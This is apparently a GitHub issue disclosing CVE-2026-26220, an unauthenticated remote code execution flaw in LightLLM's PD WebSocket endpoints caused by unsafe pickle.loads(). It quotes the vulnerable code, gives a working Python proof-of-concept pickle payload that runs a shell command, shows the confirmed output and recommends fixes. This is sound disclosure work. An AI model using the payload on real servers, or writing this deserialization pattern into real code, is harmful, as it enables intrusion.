Skip to content

CVE-2026-26220: Unauthenticated RCE via Pickle Deserialization in PD WebSocket Endpoints #1213

@Chocapikk

Description

@Chocapikk

Summary

LightLLM's PD (prefill-decode) disaggregation system contains a critical unauthenticated Remote Code Execution vulnerability caused by unsafe pickle.loads() on data received from WebSocket connections with no authentication.

CVE: CVE-2026-26220
CVSS 4.0: 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
CWE: CWE-502 - Deserialization of Untrusted Data

Prior Reports and Inaction

This is not the first time unsafe deserialization has been reported to this project:

Due to this pattern of inaction on security reports, this vulnerability is now tracked as CVE-2026-26220 assigned by VulnCheck.

The WebSocket endpoints reported here (/pd_register, /kv_move_status) are a different attack surface from the ZMQ issue in #784, but the root cause is identical: unsafe pickle.loads() on untrusted network input.

Affected Versions

  • LightLLM <= 1.1.0

Vulnerable Code

/pd_register endpoint (api_http.py line 310)

@app.websocket("/pd_register")
async def register_and_keep_alive(websocket: WebSocket):
    await websocket.accept()
    ...
    try:
        while True:
            data = await websocket.receive_bytes()
            obj = pickle.loads(data)          # <-- RCE: no validation
            await g_objs.httpserver_manager.put_to_handle_queue(obj)

/kv_move_status endpoint (api_http.py line 331)

@app.websocket("/kv_move_status")
async def kv_move_status(websocket: WebSocket):
    await websocket.accept()
    ...
    try:
        while True:
            data = await websocket.receive_bytes()
            upkv_status = pickle.loads(data)  # <-- RCE: no validation

Worker PD loop (pd_loop.py line 106)

while True:
    recv_bytes = await websocket.recv()
    obj = pickle.loads(recv_bytes)            # <-- RCE: no validation

Config server response (pd_loop.py line 186)

base64data = response.json()["data"]
id_to_pd_master_obj = pickle.loads(base64.b64decode(base64data))  # <-- RCE via config server

Attack Vector

The PD master enforces that the host is NOT localhost:

assert manager.args.host not in ["127.0.0.1", "localhost"]

This means the WebSocket endpoints are always network-exposed by design. No authentication is required to connect. Any network-reachable attacker can:

  1. Open a WebSocket connection to /pd_register or /kv_move_status
  2. Send a crafted pickle payload containing an arbitrary command
  3. The server deserializes it via pickle.loads(), executing the embedded code

Proof of Concept

import pickle, os, json, asyncio, websockets

class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

async def exploit(target):
    async with websockets.connect(f'{target}/pd_register') as ws:
        # Step 1: Send required JSON registration (text frame)
        await ws.send(json.dumps({
            "node_id": 9999,
            "client_ip_port": "127.0.0.1:9999",
            "mode": "prefill",
            "start_args": {},
        }))
        # Step 2: Send malicious pickle (binary frame) -> pickle.loads() = RCE
        await ws.send(pickle.dumps(RCE()))

asyncio.run(exploit('ws://TARGET:8000'))

Confirmed Result

uid=1000(user) gid=1001(user) groups=1001(user),27(sudo),128(docker)

RCE confirmed on both /pd_register and /kv_move_status endpoints.

Affected Deployments

Any LightLLM instance running in PD disaggregation mode (--run_mode prefill, --run_mode decode, or --run_mode pd_master).

Recommended Fix

  1. Replace pickle.loads() with a safe serialization format (JSON, MessagePack, protobuf) for all inter-node WebSocket communication
  2. Add authentication to WebSocket endpoints (token-based, TLS client certs)
  3. If pickle is required for internal IPC, implement HMAC-based message signing and restrict WebSocket connections via authentication

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions